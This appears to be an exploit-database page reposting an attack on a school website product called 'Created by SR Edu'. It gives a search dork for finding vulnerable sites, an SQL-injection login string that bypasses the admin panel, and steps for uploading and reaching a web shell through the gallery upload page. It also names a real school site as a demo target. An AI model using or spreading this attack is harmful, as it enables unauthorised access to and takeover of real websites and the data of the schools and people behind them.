Created by SR Edu Solutions - Bypass Admin

CVE	Category	Price	Severity
Not specified	CWE-XX	Not specified	Not specified

Author	Risk	Exploitation Type	Date
Sr Edu Solutions	Not specified	Not specified	2020-03-22

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020030110

Below is a copy:

Created by SR Edu Solutions - Bypass Admin

# Exploit Name : Created by SR Edu - Bypass Admin
# Author : ./Mi1337
# Team : Light Cyber Indonesia
# Blogspot : https://lightcyberindo.blogspot.com
# Risk : Medium
# Dork : intext:Created By SR Edu

# PoC
- Dorking on google using dork above
- Add /admin behind the website, will automatically be redirected to the login page (ex : localhost/admin)
- User : '="or' / Pass : '="or'
- Upload your shell at localhost:8080/admin/add-gallery.php
- Acces your shell at localhost:8080/admin/gallery/yourshell.php

# Demo
- http://carmelschoolbdk.com/admin/

# Greetz
- My Team : Light Cyber Indonesia (From Indonesia to World Team)

# Contact Me
- Email : [email protected]
- Telegram : t.me/misetya

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum